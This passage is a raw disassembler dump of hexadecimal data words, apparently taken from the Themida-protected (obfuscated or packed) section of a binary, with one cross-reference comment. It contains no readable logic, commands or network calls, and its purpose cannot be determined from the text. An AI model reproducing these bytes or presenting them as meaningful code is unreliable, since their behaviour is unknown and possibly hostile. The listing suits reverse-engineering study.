0CFD68100h dd 0B03DF8BDh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0D7A225DAh, 70E6C943h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 37C35747h dd 6A71E4C8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 9FC7C353h, 0E9FFD3E4h, 0Bh, 4B74AA05h dd 1321DFBBh, 0FB84EFCh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 4A6432C3h, 0FC3D5552h dd 8BB5ADF0h, 0E90D95BDh, 6BA05h, 81660000h, 8B02FBD7h dd 0FFB70FC3h, 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 3865C356h, 690E5444h dd 0C1B58BF5h, 6605E900h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0F508EEC3h, 0A75B47BFh dd 6AD82B68h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 35ABC352h, 1CD7A5EFh, 5E53B844h dd 0C8F0F93h, 0F000000h, 682h, 8F0F00h, 50000000h, 93F08B66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 3AC35242h dd 66752E77h, 0CE68E781h, 243DB5FFh, 6A05E9h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0BDBBD1C3h dd 95FF2004h, 5E91E95h, 91F2D0BFh, 6A00B029h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0F1CAC350h, 81662241h, 0E662B8E6h, 31BD8B70h, 0E405E922h dd 57006A71h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0B1AE7ABDh, 830F613Ch, 20Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0CEC35343h, 620A9C9Ch dd 66B1526Eh, 0F5C02BFh, 6BAD8B6h, 8B000000h, 698509C3h dd 0C105E90Bh, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0FFCE8CC3h, 23B868CEh, 6F77BBBFh dd 0E2F7661Ah, 1805BD2Bh, 0D82B05E9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 27C35646h, 6328507Fh, 1CCE2B34h dd 0C9BD8B58h, 2B05E90Ah, 6E880FD8h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0C351C355h, 7B9D0h, 0BD890000h, 5E9017Dh, 5100C183h dd 5EF28B66h, 860FD93Bh, 135h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 62C35141h, 29B6C709h, 0E9C82480h dd 0Eh, 0C783FDD9h, 8E18AB40h, 0FDB1F5Bh, 8E92E51h, 65000000h dd 7CD7852Ah, 669C2863h, 0C1F6D98Ch, 0C3840F04h, 1000000h dd 0E927B1B5h, 0ED95FF05h, 6A05E90Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8702C356h dd 226DB529h, 830F05E9h, 15h, 0FE8h, 2A5C1500h, 0BB32D416h dd 0FC0C9604h, 72FE9AB1h, 52605B5Fh, 0B09C95BEh, 85895874h dd 5E90325h, 6AC32B61h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0F2A6C355h, 8343DBBh dd 860F0000h, 3Eh, 12E9h, 31164100h, 948D24A3h, 66CB7A88h dd 0E0EE02D4h, 0E90F4216h, 45h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 74C35141h, 0F6816688h, 0C08B62E4h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 28C35747h dd 9DF798BEh, 8BC38B02h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0D919D6F3h, 0A9E86C1Dh dd 12820F63h, 0E8000000h, 0Ah, 2462D885h, 0F0421122h, 5F50C933h dd 68A0F5Eh, 8B000000h, 0E9220DB5h, 7985C705h, 9305E910h dd 6A5C1833h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0AED8C350h, 46D819E7h, 0BD33C08Bh dd 5E91859h, 243DBD81h, 7D005E9h, 850F0000h, 10h, 2BF8BE66h dd 243D85FFh, 9D0905E9h, 5E92BEDh, 243DB5FFh, 0B58B05E9h dd 5E90771h, 1E9595FFh, 0FE8B05E9h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8B987063h dd 0E91F21BDh, 45B58905h, 0F05E904h, 6AF6B7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 639380C3h dd 0BD8BB7B1h, 5E90591h, 0B780EE81h, 816678B9h, 6A1F45EEh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0CA8AC357h, 0CBF99356h, 2B818529h, 858905E9h dd 5E91FADh, 7E960h, 0F0870000h, 130CDBCEh, 0B5896039h dd 5E906ADh, 666178B2h, 0AC69DE81h, 0B1952961h, 8905E927h dd 0E92635B5h, 14E905h, 96C80000h, 0D9DF23E8h, 7BE11A6Bh dd 7A298084h, 32927872h, 9D8973B9h, 5E90091h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 0D988E77h dd 6E0A808Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0B1C35646h, 96F2A397h, 59DFA3B2h, 0F869E939h, 6AFFFFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8116C9C3h, 0A5C5F3D6h, 13E87Ch, 8EF50000h, 4891666Eh dd 5ACBDED9h, 1C9D9E58h, 65BDE20Ah, 75B523D4h, 3105E92Fh dd 0E9289D8Dh, 0C18B5E05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 46C35747h, 0BCACD8CFh, 6860Fh dd 8D890000h, 5E924DDh, 3A9BD03h, 4EB05E9h, 0 dd 3870Fh, 0BF0F0000h, 0E5858DFAh, 6A05E921h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0CA1CC357h, 0FF28B66h, 486h, 5ABE6600h, 0DDBD8B27h dd 5005E92Ah, 66240489h, 6AFB8Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 2C35242h, 7665A709h, 6A006A90h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0D22DC351h, 29839FFCh, 0B5296D2Bh, 5E90251h dd 99F858Dh, 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0B70B37C3h, 4A7AD181h, 896067E8h dd 0E90E8185h, 0D38B6605h, 5C08361h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 56C35040h, 14E890F9h, 22000000h dd 0ED18204Ah, 825DC465h, 0CD7AD2ABh, 0F1ADF433h, 6632ABA2h dd 5EFFCFBFh, 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 6AB8C3h, 0ABC0FCBFh, 60006A0Fh dd 0B018D89h, 0FF6105E9h, 0E90AA195h, 68C0F05h, 89000000h dd 0E904C19Dh, 0BF9D8D05h, 6005ECADh, 17EBBB66h, 6E861h dd 0C6230000h, 95C29E97h, 0D3FF5EFCh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0C2C35646h, 518D890Ah, 6605E916h dd 0FFEC4BBEh, 0E9068985h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 30697E11h dd 0F183A7C7h, 0F2B70F38h, 83EE9h, 0E800h, 815D0000h, 0ED09A9EDh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0A29BFCEEh, 85BD89BDh, 8105E932h, 0E9243DBDh dd 7D005h, 10860F00h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 889FC357h, 0FE256E1Fh dd 0F3C6F7EBh, 8BF6B70Fh, 0E91EA19Dh, 0F5B58B05h, 8105E930h dd 100E3h, 858B6000h, 5E90BADh, 11719589h, 8B6105E9h, 0E927ADBDh dd 0FDB0B05h, 8E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0F18B66B9h, 7E3BD83h dd 0F0005EDh, 3184h, 7D8D0900h, 0E905E922h, 64h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FCC35141h, 81CDB06Dh dd 9EAA270Fh, 85C7FE8Bh, 5ED07E3h, 1, 0AE9h, 67981800h dd 1F71C222h, 0E9556791h, 20h, 7E8h, 29F4CF00h, 29982A66h dd 2B91BD8Bh, 0C75E05E9h, 0ED07E385h, 5, 0F6B70F00h, 1EA19D8Dh dd 0EE905E9h, 0E6000000h, 190201B8h, 94A6122Dh, 0DEDC176Bh dd 0FF238110h, 66FFFFFEh, 6ADB8Ch, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0F6F97DC3h, 840F04C3h dd 91h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch dd 0C4C35545h, 0FE610904h, 1AFFBA0Fh, 7018589h, 816605E9h dd 0FF8BBACEh, 0E90BED95h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8B4B80D6h dd 0E930F5BDh, 0D2FDBE05h, 8B905A2Fh, 505150FAh, 0F616052h dd 5A616031h, 6A905E58h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0EE20C353h, 0BF92DF56h dd 45EE9CAh, 0BD090000h, 5E92659h, 0E95700B0h, 0Eh, 0E7B13378h dd 0AC2C6962h, 98037F50h, 0E65FD268h, 52006A70h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 9BBE669Ah, 8971E430h, 0E93295B5h, 0D8B60F05h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D1C35646h, 0ED889D72h dd 5D870515h, 6BA53h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 927C58C3h, 17F7426Eh dd 0FA8B6660h, 0D71B58Bh, 8B6105E9h, 53006AC3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 6E7DA442h dd 2AEE6CDBh, 8D89DCD0h, 5E91F0Dh, 6A04E8C1h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 2FF8C355h, 7830F498h, 95BE04C0h, 6628E136h, 2BFCE2F7h dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 42FEEAF6h, 0E7FF7DE7h, 25B5B589h, 0F08B05E9h dd 8B665193h, 0E8505FF8h, 11h, 3ADDD55Bh, 0F1E07FF7h, 5FB5111Fh dd 0B4BCD2EDh, 0AE86Dh, 33250000h, 0AE0B70ECh, 97202FF0h dd 850Fh, 5F5E0000h, 50006A93h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 7FCA4D32h, 0E9B58BDDh dd 0FF05E90Bh, 0E9243DB5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FF217918h dd 0E91E9595h, 0F38B6605h, 37A7BF66h, 0BF6600B0h, 70E6A16Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EEC35747h dd 0D03FD611h, 0CE8565Bh, 0AD000000h, 0AEB4A762h, 79BC2D8Bh dd 5F5ED17Dh, 1BD035Fh, 0E405E917h, 11E971h, 4250000h dd 2189D248h, 0C2A0B295h, 0B74C4677h, 3C3AA788h, 45830F61h dd 6A000002h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0D4D8C351h, 6800F60h, 89000000h dd 0E908F5B5h, 0BF665105h, 615BF9CFh, 0BFD8B60Fh, 36092D99h dd 6BAh, 60C38B00h, 12A98D89h, 8D0B05E9h, 5E91601h, 4E8C161h dd 0E8FE8B66h, 8, 0AFD31490h, 0D6E77FAh, 2A918D29h, 665F05E9h dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 98AA4C3h, 0D7F8FBBFh, 28B0F79h, 52000000h dd 0FD82B5Eh, 8Ah, 6A5800h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0B4662BC3h, 0BE66CB9Fh dd 0D82BEC87h, 17A880Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 79B86EC3h, 0BF660381h dd 8589B143h, 5E901EDh, 7B9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C542E470h dd 1DCCA2D8h, 0C183CA61h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 802C9DAEh dd 3BAC6CC1h, 0F9860FD9h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 65B4C350h dd 33AECC65h, 66B16D2Fh, 0E960D98Ch, 13h, 0C86F19A4h, 73FD89E6h dd 9C5ECE1Dh, 9899854Ch, 577D702Eh, 59D38B66h, 0FBF6661h dd 4C1F659h, 84840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 1113C4C3h, 0D2D293C1h dd 0F8B70FFBh, 0BED95FFh, 0E95B05E9h, 0Ch, 0A3692372h dd 8F5385Ch, 35BA4D22h, 6656C32Bh, 3D5EF88Bh, 834h, 34860Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 624131C3h, 95892333h, 5E92A6Dh, 0E9F6B70Fh dd 28h, 0B5B8CF81h, 0C08B4BA1h, 14E8h, 38156E00h, 71E4B594h dd 0E95F1169h, 0BB5192D1h, 19F1723Dh, 6AE781F2h, 5F52B7FDh dd 0D88BC38Bh, 8985C7F9h, 3305E900h, 0E971FE9Dh, 14h, 0AF6D5582h dd 0BBE40734h, 91B6FFC6h, 437AD038h, 392AA182h, 0BD8BC08Bh dd 5E91E75h, 455B50Bh, 0BD8105E9h, 5E9243Dh, 7D0h, 2D850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 8157A4C3h, 0F17E9FF6h, 85FF5F1Ch, 5E9243Dh dd 0FFF08B66h, 0E9243DB5h, 0F2BF0F05h, 1E9595FFh, 6A05E9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 5802E6C3h, 68C0FF6h, 8B000000h, 0E92EFDBDh, 33DF8105h dd 9078FF1Ch, 5810Fh, 27BF0000h, 6A186ACDh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 898EC355h dd 19CBF3D5h, 12E904h, 0ED020000h, 432C4657h, 44D0624Ch dd 5074392Ch, 0DFE7C477h, 0D41BD8Bh, 0D68105E9h, 21C8B76Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0FC35040h dd 8157D5F5h, 474F9AEFh, 0F1BD8B0Bh, 6A05E92Ch, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 6320C353h, 0FB8B19ACh, 68D0Fh, 0B58B0000h, 5E92A01h dd 0E29CBF66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 17C35343h, 6D4AA1A2h, 0F8BF0F1Eh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 38C35747h, 0F5A4FA2Ah dd 68F0FDCh, 8B000000h, 0E92841B5h, 0B5895205h, 5E91841h dd 0F7D3E95Fh, 0CE9FFFFh, 21000000h, 9D9627CBh, 0E00B3284h dd 8B90188Dh, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 8957B599h, 0E90D01BDh, 4EB05h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0A340C352h, 0DE9h, 0A469AA00h, 0D7E55712h dd 334BEC5Ch, 6ADBBAh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 4B9916C3h, 56B3996Eh, 8D9CE40Ah dd 0E921E585h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 6810F97h, 1000000h, 0E9103D95h dd 0D8D2905h, 9005E908h, 8850Fh, 8A600000h, 0B5BA66D8h dd 6650614Bh, 908003BEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 23C35343h, 1231B7BBh, 0C0219A82h, 0E1DCEE81h dd 6A7679h, 0E8B96660h, 5E50BF21h, 6A615222h, 81B58B00h dd 8D05E927h, 0ED13E485h, 0ED9D8905h, 8305E92Bh, 6A05C0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0CB2963C3h, 0FE8552Fh, 687h, 0B9BD8B00h, 5005E912h dd 89F78B66h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 5E19D5C3h, 6ADB8D75h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0BFD2CC49h, 11AAB9B9h, 0F98589h, 0BF0F05E9h, 81006AF8h dd 0BB7CAEDFh, 0A195FF56h, 8905E90Ah, 0E924458Dh, 8D852905h dd 8D05E90Fh, 0ECADBF9Dh, 7E905h, 3420000h, 0D57516ADh dd 0BD3FFD7h, 0E91F95BDh, 8985FF05h, 6A05E906h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 8A41C357h, 0E7D8529h, 0B58B05E9h, 5E91205h, 59C01ABFh dd 780E942h, 0E80000h, 5D000000h, 13EEED81h, 800F05EDh dd 0 dd 243DBD81h, 7D005E9h, 860F0000h, 11Fh, 1145BD03h, 0B6005E9h dd 0E90701B5h, 0D7816605h, 8B618E8Eh, 0E91E199Dh, 0DE816605h dd 0BD8B19B4h, 5E91145h, 100E381h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9DFC98C3h dd 0D58D8922h, 0B05E90Dh, 4D850FDBh, 89000000h, 0E92CFDBDh dd 0ABD8305h, 5ED12h, 1E840Fh, 9E80000h, 26000000h, 0DCB17F0h dd 9A75ADB0h, 0A871BE66h, 68E95Eh, 8D890000h, 5E91921h dd 120A85C7h, 105EDh, 0F7810000h, 1CA42B38h, 4CE9FCh, 0BD8B0000h dd 5E922C9h, 120A85C7h, 5EDh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 2FDB7FC3h dd 912617A5h, 0BF667188h, 0FE8B9D77h, 0DE9h, 9789F000h dd 7E837EEBh, 0E7F977EBh, 9D8D67BAh, 5E91E19h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 25C35545h, 8D29B818h dd 5E919CDh, 0FEFF2381h, 8166FFFFh, 66CDC4C6h, 6ADB8Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0B5A585C3h, 0F56028Bh, 687h, 59858900h, 5E05E90Eh, 0F04C3F6h dd 0A684h, 10E900h, 161D0000h, 94D460E5h, 6EB782B1h, 0B742AE4Dh dd 95FFE4AEh, 5E90BEDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0DEC35141h, 1E7549A9h, 95B58902h, 5005E90Eh dd 10E96056h, 0BC000000h, 80A8556Fh, 8CEAEC6Dh, 65564482h dd 0E885DFFFh, 14h, 927C437h, 747780D2h, 46F2F346h, 0ABD5B1D1h dd 70706B1Fh, 895E615Ah, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 8A65F3C3h, 3A1B12E0h dd 0ABBF6605h, 7DBD8B91h, 0E905E92Bh, 37Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5DC35242h, 0D3FF49E3h dd 0FC68768h, 8Bh, 6A00B000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 1B0AC352h, 0A195F6B2h dd 0FECFBC3Bh, 13E9h, 0AB9AAC00h, 61FF270Ah, 6429B214h dd 0DC8BEFFBh, 2A963A72h, 7B5BD33h, 70E605E9h, 11E971E4h dd 5D000000h, 752E773Ah, 7A31ADDh, 0FDA90AEDh, 97D4D153h dd 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0F8FC353h, 88h, 6BA00h, 0BF660000h dd 0C38B34EEh, 0E8C1FE8Bh, 0FDB58B04h, 6605E90Fh, 6AE2F7h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0BA0341C3h, 0A9CFBF66h, 6AD82Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 500148C3h dd 0EE9h, 0AB203300h, 0C9E88CB8h, 55832B97h, 898C11E4h dd 0FFFC241Ch, 0E9243DB5h, 0F0B70F05h, 1E9595FFh, 0BD8B05E9h dd 5E91989h, 0BD8B00B0h, 5E90601h, 8B6670E6h, 0E971E4FBh dd 12h, 816F695h, 32DB08Dh, 0D7C2C046h, 0DCA9CBE3h, 0BE9CF28h dd 66000000h, 2C8E2309h, 4061F34Bh, 613CDEC5h, 20A830Fh dd 85890000h, 5E917C1h, 0D5D78166h, 0D8B60FBDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B6C35646h, 0E85F2067h dd 11h, 0E8080B9Ah, 7DAE8E35h, 5FAB9520h, 0D2B7C6C3h, 0EE8EEh dd 53FF0000h, 3A64E25Bh, 8EAD088h, 6884A3D1h, 0BA5E5FF5h dd 6, 880FFC60h, 11h, 0BE8h, 3A9D8400h, 0B26D96B7h, 39AB7FE8h dd 0C38B6158h, 8B04E8C1h, 0E90F09B5h, 0E2F76605h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D0C35141h, 75F652A5h dd 96EDDBB5h, 6AD82BFBh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0B0B2C355h, 0F958DBB8h dd 880FD82Bh, 134h, 86AC1EBFh, 7B96Bh, 0B5890000h, 5E90641h dd 6A00C183h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 722CC357h, 12E8h, 0B1A86C00h dd 0BE761B4Eh, 8DB4ADFh, 8909DC58h, 8B68BA8Eh, 0E90191B5h dd 0D93B5F05h, 0DE860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 18C582C3h, 35E14C58h dd 6648095Dh, 8C66F78Bh, 0B70F60D9h, 298D09F3h, 6105E929h dd 0F04C1F6h, 9784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0ECDA1E3Dh, 0BED95FFh dd 0BE6605E9h, 6A5B12A7h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 5248C350h, 0D59589DBh dd 2B05E924h, 0A98589C3h, 3D05E907h, 834h, 36860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0B48019C3h, 0E02F3081h, 36B8341h, 0E92709B5h, 0EE905h dd 0B58B0000h, 5E905A9h, 9589C08Bh, 5E90BC1h, 0D88BC38Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 33C35545h dd 1E8942Dh, 24398501h, 85C705E9h, 5E91EA1h, 700837B9h dd 8BFA8B66h, 3DBD81C0h, 0D005E924h, 0F000007h, 2885h dd 85FFFC00h, 5E9243Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0B3C35141h, 8B471274h, 3DB5FFF4h, 0E805E924h dd 0Bh, 168C9E39h, 0A2095756h, 89E68593h, 0E9061185h, 95FF5E05h dd 5E91E95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0D6C35545h, 0D628CD61h, 90E8B570h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0ABC35747h, 0CFCC3466h dd 0E2BC208Eh, 53F8BF0Fh, 0EE9h, 59349900h, 0AC1D99B0h dd 6FB4F653h, 5FE89E3Dh, 23A1BD8Bh, 840F05E9h, 6, 2D3DB589h dd 858905E9h, 5E92EDDh, 32E5B58Bh, 0F28B05E9h, 1649BD8Bh dd 816005E9h, 0CB9C28C0h, 9D8D091Fh, 0E805E910h, 10h, 883A64E2h dd 0D108EAD0h, 1E6884A3h, 4DE5F59Fh, 0B96998B8h, 58616059h dd 0B8E0F61h, 0BF000000h, 593E08DEh, 5B1B58Bh, 0F6005E9h dd 8160C8B7h, 18F8DE2h, 0D59D8B69h, 8105E927h, 1D017AD2h dd 0D980612Bh, 6A6150h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 3CBBCAC3h, 64A5AA9Ch, 0F6816677h dd 0BD8B20CFh, 5E90A9Dh, 23599501h, 2BBF05E9h, 8901101Bh dd 0E916D1BDh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0C6816642h, 67BF5A2Ch dd 0E909CC11h, 0FFFFF882h, 0C18BF38Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0FDC35646h, 0F15EBDA5h, 4EB8Dh dd 66000000h, 0B201DE81h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 60C35040h, 8E80F33Ch, 0EE9D3h, 90D70000h dd 76413D18h, 0B4598054h, 257C9A8h, 0E5858DF9h, 0E905E921h dd 6, 0F3C37A50h, 0DE9A7D9h, 8E000000h, 23A5833Bh, 1A6CA74Ah dd 7244D3Ch, 0FB8B6690h, 6A9050h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 322EAAC3h, 472AEFDh, 0F819BEAFh, 6A3732h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1AC35141h, 37D3DCBAh dd 0B58BCAE8h, 5E90EE1h, 858D006Ah, 5ED1D99h, 11E960h dd 0E4390000h, 40B92185h, 0FDC1532Dh, 0B12F07Bh, 8B1A6700h dd 0E917C585h, 0C0836105h, 0CDBD8B05h, 9005E910h, 8B525057h dd 66310FFBh, 5A05EBBFh, 50505F58h, 8A60A7BEh, 6A905F1Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 44C8C350h, 0C26DE6E4h, 42BE9C02h, 661D6B85h dd 7AA7CE81h, 0B529006Ah, 5E91111h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0B69C08C3h dd 28D4D420h, 6880F17h, 8B000000h, 0E916DDB5h, 0A195FF05h dd 6A05E90Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0CD1CC357h, 989A23B5h, 137A179h dd 0E92F11BDh, 0BF9D8D05h, 6A05ECADh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0E475C353h dd 0DE8B8131h, 9F0E1205h, 3098501h, 816605E9h, 0F48BACEh dd 687h, 759D8900h, 0FF05E905h, 53006AD3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0D80CB209h dd 582DC681h, 85FF6E2Fh, 5E90689h, 5B1B58Bh, 28E905E9h dd 0E8000008h, 0 dd 0A3ED815Dh, 3305ED1Dh, 0E90D69B5h, 3DBD8105h, 0D005E924h dd 0F000007h, 0FE86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 39E4FD80h, 6DB58B7Ch dd 8B05E91Eh, 0E907919Dh, 0F6816605h, 0E381E4BAh, 100h dd 0C124BE66h, 850FDB0Bh, 96h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 5FC35545h, 50476110h, 0F18B6652h dd 3D95895Eh, 8B05E92Bh, 8EBD83F2h dword_580000 dd 5ED1Bh, 0C840Fh, 85890000h, 5E905D1h, 61E9h, 85C7F800h ; DATA XREF: Themida_:005414C8o dd 5ED1B8Eh, 1, 3890F60h, 80000000h, 0C08157D4h, 3D9537C7h dd 51958961h, 0E905E916h, 3Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 29C35141h, 9F74DE98h, 2CA1AC8Bh dd 2AF59589h, 85C705E9h, 5ED1B8Eh, 0 dd 28DBD31h, 9D8D05E9h, 5E90791h, 26358589h, 238105E9h dd 0FFFFFEFFh, 66F8B70Fh, 